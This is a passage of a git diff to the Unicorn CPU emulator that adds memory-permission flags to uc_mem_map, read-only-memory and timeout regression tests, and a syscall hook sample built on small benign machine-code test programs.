02110-1301, USA. + +*/ + +#include +#include +#include + +#include + +const uint8_t PROGRAM[] = + "\xeb\x1a\x58\x83\xc0\x04\x83\xe0\xfc\x83\xc0\x01\xc7\x00\x78\x56" + "\x34\x12\x83\xc0\x07\xc7\x00\x21\x43\x65\x87\x90\xe8\xe1\xff\xff" + "\xff" "xxxxAAAAxxxBBBB"; +// total size: 33 bytes + +/* + jmp short bottom +top: + pop eax + add eax, 4 + and eax, 0xfffffffc + add eax, 1 ; unaligned + mov dword [eax], 0x12345678 ; try to write into code section + add eax, 7 ; aligned + mov dword [eax], 0x87654321 ; try to write into code section + nop +bottom: + call top +*/ + +// callback for tracing instruction +static void hook_code(uch handle, uint64_t address, uint32_t size, void *user_data) +{ + uint32_t esp; + printf(">>> Tracing instruction at 0x%"PRIx64 ", instruction size = 0x%x\n", address, size); + + uc_reg_read(handle, UC_X86_REG_ESP, &esp); + printf(">>> --- ESP is 0x%x\n", esp); + +} + +// callback for tracing memory access (READ or WRITE) +static bool hook_mem_invalid(uch handle, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data) +{ + uint32_t esp; + uc_reg_read(handle, UC_X86_REG_ESP, &esp); + + switch(type) { + default: + // return false to indicate we want to stop emulation + return false; + case UC_MEM_WRITE: + //if this is a push, esp has not been adjusted yet + if (esp == (address + size)) { + uint32_t upper; + upper = (esp + 0xfff) & ~0xfff; + printf(">>> Stack appears to be missing at 0x%"PRIx64 ", allocating now\n", address); + // map this memory in with 2MB in size + uc_mem_map(handle, upper - 0x8000, 0x8000, UC_PROT_READ | UC_PROT_WRITE); + // return true to indicate we want to continue + return true; + } + printf(">>> Missing memory is being WRITTEN at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n", + address, size, value); + return false; + case UC_MEM_WRITE_NW: + printf(">>> RO memory is being WRITTEN at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n", + address, size, value); + return false; + } +} + + +#define STACK 0x500000 +#define STACK_SIZE 0x5000 + +int main(int argc, char **argv, char **envp) +{ + uch handle, trace1, trace2; + uc_err err; + uint8_t bytes[8]; + uint32_t esp; + int result; + int map_stack = 0; + + if (argc == 2 && strcmp(argv[1], "--map-stack") == 0) { + map_stack = 1; + } + + printf("Memory mapping test\n"); + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &handle); + if (err) { + printf("Failed on uc_open() with error returned: %u\n", err); + return 1; + } + + uc_mem_map(handle, 0x100000, 0x1000, UC_PROT_ALL); + uc_mem_map(handle, 0x200000, 0x2000, UC_PROT_ALL); + uc_mem_map(handle, 0x300000, 0x3000, UC_PROT_ALL); + uc_mem_map(handle, 0x400000, 0x4000, UC_PROT_READ); + + if (map_stack) { + printf("Pre-mapping stack\n"); + uc_mem_map(handle, STACK, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE); + } else { + printf("Mapping stack on first invalid memory access\n"); + } + + esp = STACK + STACK_SIZE; + + uc_reg_write(handle, UC_X86_REG_ESP, &esp); + + // write machine code to be emulated to memory + if (uc_mem_write(handle, 0x400000, PROGRAM, sizeof(PROGRAM))) { + printf("Failed to write emulation code to memory, quit!\n"); + return 2; + } else { + printf("Allowed to write to read only memory via uc_mem_write\n"); + } + + //uc_hook_add(handle, &trace2, UC_HOOK_CODE, hook_code, NULL, (uint64_t)0x400000, (uint64_t)0x400fff); + + // intercept invalid memory events + uc_hook_add(handle, &trace1, UC_HOOK_MEM_INVALID, hook_mem_invalid, NULL); + + // emulate machine code in infinite time + printf("BEGIN execution - 1\n"); + err = uc_emu_start(handle, 0x400000, 0x400000 + sizeof(PROGRAM), 0, 10); + if (err) { + printf("Expected failue on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } else { + printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n"); + } + printf("END execution - 1\n"); + + // emulate machine code in infinite time + printf("BEGIN execution - 2\n"); + uint32_t eax = 0x40002C; + uc_reg_write(handle, UC_X86_REG_EAX, &eax); + err = uc_emu_start(handle, 0x400015, 0x400000 + sizeof(PROGRAM), 0, 2); + if (err) { + printf("Expected failure on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } else { + printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n"); + } + printf("END execution - 2\n"); + + printf("Verifying content at 0x400025 is unchanged\n"); + if (!uc_mem_read(handle, 0x400025, bytes, 4)) { + printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)0x400025, *(uint32_t*) bytes); + if (0x41414141 != *(uint32_t*) bytes) { + printf("ERROR content in read only memory changed\n"); + } else { + printf("SUCCESS content in read only memory unchanged\n"); + } + } else { + printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4)); + return 4; + } + + printf("Verifying content at 0x40002C is unchanged\n"); + if (!uc_mem_read(handle, 0x40002C, bytes, 4)) { + printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)0x40002C, *(uint32_t*) bytes); + if (0x42424242 != *(uint32_t*) bytes) { + printf("ERROR content in read only memory changed\n"); + } else { + printf("SUCCESS content in read only memory unchanged\n"); + } + } else { + printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4)); + return 4; + } + + printf("Verifying content at bottom of stack is readable and correct\n"); + if (!uc_mem_read(handle, esp - 4, bytes, 4)) { + printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", (uint32_t)(esp - 4), *(uint32_t*) bytes); + } else { + printf(">>> Failed to read 4 bytes from [0x%x]\n", (uint32_t)(esp - 4)); + return 4; + } + + uc_close(&handle); + + return 0; +} diff --git a/regress/sigill.c b/regress/sigill.c index 151ad8ec..72e3be49 100644 --- a/regress/sigill.c +++ b/regress/sigill.c @@ -8,14 +8,16 @@ int got_sigill = 0; -void _interrupt(struct uc_struct *uc, uint32_t intno, void *user_data) { +void _interrupt(struct uc_struct *uc, uint32_t intno, void *user_data) +{ if (intno == 6) { uc_emu_stop(uc); - got_sigill = 1; + got_sigill = 1; } } -int main() { +int main() +{ int size; uint8_t *buf; struct uc_struct *uc; @@ -32,9 +34,9 @@ int main() { return 1; } memset (buf, 0, size); - if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size)) { + if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) { uc_mem_write(uc, UC_BUG_WRITE_ADDR, - (const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8); + (const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8); } uc_hook_add(uc, &uh_trap, UC_HOOK_INTR, _interrupt, NULL); uc_emu_start(uc, UC_BUG_WRITE_ADDR, UC_BUG_WRITE_ADDR+8, 0, 1); diff --git a/regress/sigill2.c b/regress/sigill2.c index 2985c836..406dd750 100644 --- a/regress/sigill2.c +++ b/regress/sigill2.c @@ -18,9 +18,9 @@ int main() return 1; } size = UC_BUG_WRITE_SIZE; - if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size)) { - uc_mem_write(uc, UC_BUG_WRITE_ADDR, - (const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8); + if (!uc_mem_map (uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) { + uc_mem_write (uc, UC_BUG_WRITE_ADDR, + (const uint8_t*)"\xff\xff\xff\xff\xff\xff\xff\xff", 8); } err = uc_emu_start(uc, UC_BUG_WRITE_ADDR, UC_BUG_WRITE_ADDR+8, 0, 1); uc_close(uc); diff --git a/regress/timeout_segfault.c b/regress/timeout_segfault.c new file mode 100644 index 00000000..a1378e6a --- /dev/null +++ b/regress/timeout_segfault.c @@ -0,0 +1,149 @@ +/* +timeout_segfault.c + +This program shows a case where the emulation timer keeps running after +emulation has ended. It triggers an intermittent segfault when _timeout_fn() +tries to call uc_emu_stop() after emulation has already been cleaned up. This +code is the same as samples/sample_arm.c, except that it adds a timeout on each +call to uc_emu_start(). See issue #78 for more details: +https://github.com/unicorn-engine/unicorn/issues/78 +*/ + +#include + +#include + + +// code to be emulated +#define ARM_CODE "\x37\x00\xa0\xe3\x03\x10\x42\xe0" // mov r0, #0x37; sub r1, r2, r3 +#define THUMB_CODE "\x83\xb0" // sub sp, #0xc + +// memory address where emulation starts +#define ADDRESS 0x10000 + +// number of seconds to wait before timeout +#define TIMEOUT 5 + +static void hook_block(uch handle, uint64_t address, uint32_t size, void *user_data) +{ + printf(">>> Tracing basic block at 0x%"PRIx64 ", block size = 0x%x\n", address, size); +} + +static void hook_code(uch handle, uint64_t address, uint32_t size, void *user_data) +{ + printf(">>> Tracing instruction at 0x%"PRIx64 ", instruction size = 0x%x\n", address, size); +} + +static void test_arm(void) +{ + uch handle; + uc_err err; + uch trace1, trace2; + + int r0 = 0x1234; // R0 register + int r2 = 0x6789; // R1 register + int r3 = 0x3333; // R2 register + int r1; // R1 register + + printf("Emulate ARM code\n"); + + // Initialize emulator in ARM mode + err = uc_open(UC_ARCH_ARM, UC_MODE_ARM, &handle); + if (err) { + printf("Failed on uc_open() with error returned: %u (%s)\n", + err, uc_strerror(err)); + return; + } + + // map 2MB memory for this emulation + uc_mem_map(handle, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc_mem_write(handle, ADDRESS, (uint8_t *)ARM_CODE, sizeof(ARM_CODE) - 1); + + // initialize machine registers + uc_reg_write(handle, UC_ARM_REG_R0, &r0); + uc_reg_write(handle, UC_ARM_REG_R2, &r2); + uc_reg_write(handle, UC_ARM_REG_R3, &r3); + + // tracing all basic blocks with customized callback + uc_hook_add(handle, &trace1, UC_HOOK_BLOCK, hook_block, NULL, (uint64_t)1, (uint64_t)0); + + // tracing one instruction at ADDRESS with customized callback + uc_hook_add(handle, &trace2, UC_HOOK_CODE, hook_code, NULL, (uint64_t)ADDRESS, (uint64_t)ADDRESS); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + err = uc_emu_start(handle, ADDRESS, ADDRESS + sizeof(ARM_CODE) -1, UC_SECOND_SCALE * TIMEOUT, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned: %u\n", err); + } + + // now print out some registers + printf(">>> Emulation done. Below is the CPU context\n"); + + uc_reg_read(handle, UC_ARM_REG_R0, &r0); + uc_reg_read(handle, UC_ARM_REG_R1, &r1); + printf(">>> R0 = 0x%x\n", r0); + printf(">>> R1 = 0x%x\n", r1); + + uc_close(&handle); +} + +static void test_thumb(void) +{ + uch handle; + uc_err err; + uch trace1, trace2; + + int sp = 0x1234; // R0 register + + printf("Emulate THUMB code\n"); + + // Initialize emulator in ARM mode + err = uc_open(UC_ARCH_ARM, UC_MODE_THUMB, &handle); + if (err) { + printf("Failed on uc_open() with error returned: %u (%s)\n", + err, uc_strerror(err)); + return; + } + + // map 2MB memory for this emulation + uc_mem_map(handle, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc_mem_write(handle, ADDRESS, (uint8_t *)THUMB_CODE, sizeof(THUMB_CODE) - 1); + + // initialize machine registers + uc_reg_write(handle, UC_ARM_REG_SP, &sp); + + // tracing all basic blocks with customized callback + uc_hook_add(handle, &trace1, UC_HOOK_BLOCK, hook_block, NULL, (uint64_t)1, (uint64_t)0); + + // tracing one instruction at ADDRESS with customized callback + uc_hook_add(handle, &trace2, UC_HOOK_CODE, hook_code, NULL, (uint64_t)ADDRESS, (uint64_t)ADDRESS); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + err = uc_emu_start(handle, ADDRESS, ADDRESS + sizeof(THUMB_CODE) -1, UC_SECOND_SCALE * TIMEOUT, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned: %u\n", err); + } + + // now print out some registers + printf(">>> Emulation done. Below is the CPU context\n"); + + uc_reg_read(handle, UC_ARM_REG_SP, &sp); + printf(">>> SP = 0x%x\n", sp); + + uc_close(&handle); +} + +int main(int argc, char **argv, char **envp) +{ + test_arm(); + printf("==========================\n"); + test_thumb(); + + return 0; +} diff --git a/samples/sample_all.sh b/samples/sample_all.sh index e4ff7d48..e9e49e43 100755 --- a/samples/sample_all.sh +++ b/samples/sample_all.sh @@ -17,6 +17,8 @@ if test -e $DIR/sample_x86; then $DIR/sample_x86 -64 echo "==========================" $DIR/sample_x86 -16 + echo "==========================" + $DIR/shellcode -32 fi if test -e $DIR/sample_arm; then echo "==========================" diff --git a/samples/sample_arm.c b/samples/sample_arm.c index 78476e03..1da06fc8 100644 --- a/samples/sample_arm.c +++ b/samples/sample_arm.c @@ -47,7 +47,7 @@ static void test_arm(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory uc_mem_write(uc, ADDRESS, (uint8_t *)ARM_CODE, sizeof(ARM_CODE) - 1); @@ -100,7 +100,7 @@ static void test_thumb(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory uc_mem_write(uc, ADDRESS, (uint8_t *)THUMB_CODE, sizeof(THUMB_CODE) - 1); diff --git a/samples/sample_arm64.c b/samples/sample_arm64.c index 1626f20b..de24ab37 100644 --- a/samples/sample_arm64.c +++ b/samples/sample_arm64.c @@ -45,7 +45,7 @@ static void test_arm64(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory uc_mem_write(uc, ADDRESS, (uint8_t *)ARM_CODE, sizeof(ARM_CODE) - 1); diff --git a/samples/sample_m68k.c b/samples/sample_m68k.c index f482a786..a640da72 100644 --- a/samples/sample_m68k.c +++ b/samples/sample_m68k.c @@ -60,7 +60,7 @@ static void test_m68k(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory uc_mem_write(uc, ADDRESS, (uint8_t *)M68K_CODE, sizeof(M68K_CODE) - 1); diff --git a/samples/sample_mips.c b/samples/sample_mips.c index 5b921257..6fc13229 100644 --- a/samples/sample_mips.c +++ b/samples/sample_mips.c @@ -44,7 +44,7 @@ static void test_mips_eb(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory uc_mem_write(uc, ADDRESS, (uint8_t *)MIPS_CODE_EB, sizeof(MIPS_CODE_EB) - 1); @@ -94,7 +94,7 @@ static void test_mips_el(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory uc_mem_write(uc, ADDRESS, (uint8_t *)MIPS_CODE_EL, sizeof(MIPS_CODE_EL) - 1); diff --git a/samples/sample_sparc.c b/samples/sample_sparc.c index c74b31f3..b9c2404e 100644 --- a/samples/sample_sparc.c +++ b/samples/sample_sparc.c @@ -46,7 +46,7 @@ static void test_sparc(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory uc_mem_write(uc, ADDRESS, (uint8_t *)SPARC_CODE, sizeof(SPARC_CODE) - 1); diff --git a/samples/sample_x86.c b/samples/sample_x86.c index 14c6b234..af99075b 100644 --- a/samples/sample_x86.c +++ b/samples/sample_x86.c @@ -26,6 +26,7 @@ //#define X86_CODE64 "\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9" #define X86_CODE64 "\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59" #define X86_CODE16 "\x00\x00" // add byte ptr [bx + si], al +#define X86_CODE64_SYSCALL "\x0f\x05" // SYSCALL // memory address where emulation starts #define ADDRESS 0x1000000 @@ -76,7 +77,7 @@ static bool hook_mem_invalid(struct uc_struct *uc, uc_mem_type type, printf(">>> Missing memory is being WRITE at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n", address, size, value); // map this memory in with 2MB in size - uc_mem_map(uc, 0xaaaa0000, 2 * 1024*1024); + uc_mem_map(uc, 0xaaaa0000, 2 * 1024*1024, UC_PROT_ALL); // return true to indicate we want to continue return true; } @@ -152,6 +153,19 @@ static void hook_out(struct uc_struct *uc, uint32_t port, int size, uint32_t val printf("--- register value = 0x%x\n", tmp); } +// callback for SYSCALL instruction (X86). +static void hook_syscall(struct uc_struct *uc, void *user_data) +{ + uint64_t rax; + + uc_reg_read(uc, UC_X86_REG_RAX, &rax); + if (rax == 0x100) { + rax = 0x200; + uc_reg_write(uc, UC_X86_REG_RAX, &rax); + } else + printf("ERROR: was not expecting rax=0x%"PRIx64 " in syscall\n", rax); +} + static void test_i386(void) { struct uc_struct *uc; @@ -172,7 +186,7 @@ static void test_i386(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32, sizeof(X86_CODE32) - 1)) { @@ -231,7 +245,7 @@ static void test_i386_jump(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_JUMP, @@ -278,7 +292,7 @@ static void test_i386_loop(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_LOOP, sizeof(X86_CODE32_LOOP) - 1)) { @@ -330,7 +344,7 @@ static void test_i386_invalid_mem_read(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_MEM_READ, sizeof(X86_CODE32_MEM_READ) - 1)) { @@ -388,7 +402,7 @@ static void test_i386_invalid_mem_write(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_MEM_WRITE, sizeof(X86_CODE32_MEM_WRITE) - 1)) { @@ -459,7 +473,7 @@ static void test_i386_jump_invalid(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_JMP_INVALID, sizeof(X86_CODE32_JMP_INVALID) - 1)) { @@ -515,7 +529,7 @@ static void test_i386_inout(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_INOUT, sizeof(X86_CODE32_INOUT) - 1)) { @@ -590,7 +604,7 @@ static void test_x86_64(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE64, sizeof(X86_CODE64) - 1)) { @@ -672,6 +686,57 @@ static void test_x86_64(void) uc_close(uc); } +static void test_x86_64_syscall(void) +{ + struct uc_struct *uc; + uc_hook_h trace1; + uc_err err; + + int64_t rax = 0x100; + + printf("===================================\n"); + printf("Emulate x86_64 code with 'syscall' instruction\n"); + + // Initialize emulator in X86-64bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc); + if (err) { + printf("Failed on uc_open() with error returned: %u\n", err); + return; + } + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE64_SYSCALL, sizeof(X86_CODE64_SYSCALL) - 1)) { + printf("Failed to write emulation code to memory, quit!\n"); + return; + } + + // hook interrupts for syscall + uc_hook_add(uc, &trace1, UC_HOOK_INSN, hook_syscall, NULL, UC_X86_INS_SYSCALL); + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_RAX, &rax); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + err = uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE64_SYSCALL) - 1, 0, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } + + // now print out some registers + printf(">>> Emulation done. Below is the CPU context\n"); + + uc_reg_read(uc, UC_X86_REG_RAX, &rax); + + printf(">>> RAX = 0x%" PRIx64 "\n", rax); + + uc_close(uc); +} + static void test_x86_16(void) { struct uc_struct *uc; @@ -692,7 +757,7 @@ static void test_x86_16(void) } // map 8KB memory for this emulation - uc_mem_map(uc, 0, 8 * 1024); + uc_mem_map(uc, 0, 8 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, 0, (uint8_t *)X86_CODE16, sizeof(X86_CODE64) - 1)) { @@ -740,6 +805,7 @@ int main(int argc, char **argv, char **envp) if (!strcmp(argv[1], "-64")) { test_x86_64(); + test_x86_64_syscall(); } if (!strcmp(argv[1], "-16")) { diff --git a/samples/shellcode.c b/samples/shellcode.c index bd336882..62fe30e5 100644 --- a/samples/shellcode.c +++ b/samples/shellcode.c @@ -104,7 +104,7 @@ static void test_i386(void) } // map 2MB memory for this emulation - uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024); + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); // write machine code to be emulated to memory if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_SELF, sizeof(X86_CODE32_SELF) - 1)) { diff --git a/uc.c b/uc.c index 3effa782..0492ba6e 100644 --- a/uc.c +++ b/uc.c @@ -31,11 +31,6 @@ #include "qemu/include/hw/boards.h" -// TODO -static uint64_t map_begin[32], map_end[32]; -static int map_count = 0; - - UNICORN_EXPORT unsigned int uc_version(unsigned int *major, unsigned int *minor) { @@ -85,6 +80,10 @@ const char *uc_strerror(uc_err code) return "Invalid hook type (UC_ERR_HOOK)"; case UC_ERR_MAP: return "Invalid memory mapping (UC_ERR_MAP)"; + case UC_ERR_MEM_WRITE_NW: + return "Write to non-writable (UC_ERR_MEM_WRITE_NW)"; + case UC_ERR_MEM_READ_NR: + return "Read from non-readable (UC_ERR_MEM_READ_NR)"; } } @@ -269,6 +268,8 @@ uc_err uc_close(struct uc_struct *uc) uc->root->free(uc->root); free(uc->hook_callbacks); + + free(uc->mapped_blocks); // finally, free uc itself. memset(uc, 0, sizeof(*uc)); @@ -302,23 +303,90 @@ uc_err uc_reg_write(struct uc_struct *uc, int regid, const void *value) } -UNICORN_EXPORT -uc_err uc_mem_read(struct uc_struct *uc, uint64_t address, uint8_t *bytes, size_t size) +// check if a memory area is mapped +// this is complicated because an area can overlap adjacent blocks +static bool check_mem_area(struct uc_struct *uc, uint64_t address, size_t size) { - if (uc->read_mem(&uc->as, address, bytes, size) == false) - return UC_ERR_MEM_READ; + size_t count = 0, len; - return UC_ERR_OK; + while(count < size) { + MemoryRegion *mr = memory_mapping(uc, address); + if (mr) { + len = MIN(size - count, mr->end - address); + count += len; + address += len; + } else // this address is not mapped in yet + break; + } + + return (count == size); } +UNICORN_EXPORT +uc_err uc_mem_read(struct uc_struct *uc, uint64_t address, uint8_t *bytes, size_t size) +{ + if (!check_mem_area(uc, address, size)) + return UC_ERR_MEM_READ; + + size_t count = 0, len; + + // memory area can overlap adjacent memory blocks + while(count < size) { + MemoryRegion *mr = memory_mapping(uc, address); + if (mr) { + len = MIN(size - count, mr->end - address); + if (uc->read_mem(&uc->as, address, bytes, len) == false) + break; + count += len; + address += len; + bytes += len; + } else // this address is not mapped in yet + break; + } + + if (count == size) + return UC_ERR_OK; + else + return UC_ERR_MEM_READ; +} + UNICORN_EXPORT uc_err uc_mem_write(struct uc_struct *uc, uint64_t address, const uint8_t *bytes, size_t size) { - if (uc->write_mem(&uc->as, address, bytes, size) == false) + if (!check_mem_area(uc, address, size)) return UC_ERR_MEM_WRITE; - return UC_ERR_OK; + size_t count = 0, len; + + // memory area can overlap adjacent memory blocks + while(count < size) { + MemoryRegion *mr = memory_mapping(uc, address); + if (mr) { + uint32_t operms = mr->perms; + if (!(operms & UC_PROT_WRITE)) // write protected + // but this is not the program accessing memory, so temporarily mark writable + uc->readonly_mem(mr, false); + + len = MIN(size - count, mr->end - address); + if (uc->write_mem(&uc->as, address, bytes, len) == false) + break; + + if (!(operms & UC_PROT_WRITE)) // write protected + // now write protect it again + uc->readonly_mem(mr, true); + + count += len; + address += len; + bytes += len; + } else // this address is not mapped in yet + break; + } + + if (count == size) + return UC_ERR_OK; + else + return UC_ERR_MEM_WRITE; } #define TIMEOUT_STEP 2 // microseconds @@ -358,6 +426,7 @@ uc_err uc_emu_start(struct uc_struct* uc, uint64_t begin, uint64_t until, uint64 uc->stop_request = false; uc->invalid_error = UC_ERR_OK; uc->block_full = false; + uc->emulation_done = false; switch(uc->arch) { default: @@ -423,6 +492,11 @@ uc_err uc_emu_start(struct uc_struct* uc, uint64_t begin, uint64_t until, uint64 // emulation is done uc->emulation_done = true; + if (timeout) { + // wait for the timer to finish + qemu_thread_join(&uc->timer); + } + return uc->invalid_error; } @@ -430,6 +504,9 @@ uc_err uc_emu_start(struct uc_struct* uc, uint64_t begin, uint64_t until, uint64 UNICORN_EXPORT uc_err uc_emu_stop(struct uc_struct *uc) { + if (uc->emulation_done) + return UC_ERR_OK; + uc->stop_request = true; // exit the current TB cpu_exit(uc->current_cpu); @@ -469,8 +546,10 @@ static uc_err _hook_mem_access(struct uc_struct *uc, uc_mem_type type, } UNICORN_EXPORT -uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size) +uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size, uint32_t perms) { + MemoryRegion **regions; + if (size == 0) // invalid memory mapping return UC_ERR_MAP; @@ -483,25 +562,34 @@ uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size) if ((size & (4*1024 - 1)) != 0) return UC_ERR_MAP; - map_begin[map_count] = address; - map_end[map_count] = size + map_begin[map_count]; - uc->memory_map(uc, map_begin[map_count], size); - map_count++; + // check for only valid permissions + if ((perms & ~(UC_PROT_READ | UC_PROT_WRITE)) != 0) + return UC_ERR_MAP; + + if ((uc->mapped_block_count & (MEM_BLOCK_INCR - 1)) == 0) { //time to grow + regions = (MemoryRegion**)realloc(uc->mapped_blocks, sizeof(MemoryRegion*) * (uc->mapped_block_count + MEM_BLOCK_INCR)); + if (regions == NULL) { + return UC_ERR_OOM; + } + uc->mapped_blocks = regions; + } + uc->mapped_blocks[uc->mapped_block_count] = uc->memory_map(uc, address, size, perms); + uc->mapped_block_count++; return UC_ERR_OK; } -bool memory_mapping(uint64_t address) +MemoryRegion *memory_mapping(struct uc_struct* uc, uint64_t address) { unsigned int i; - for(i = 0; i < map_count; i++) { - if (address >= map_begin[i] && address <= map_end[i]) - return true; + for(i = 0; i < uc->mapped_block_count; i++) { + if (address >= uc->mapped_blocks[i]->addr && address < uc->mapped_blocks[i]->end) + return uc->mapped_blocks[i]; } // not found - return false; + return NULL; } static uc_err _hook_mem_invalid(struct uc_struct* uc, uc_cb_eventmem_t callback, @@ -653,4 +741,3 @@ uc_err uc_hook_del(struct uc_struct *uc, uc_hook_h hh) { return hook_del(uc, hh); } -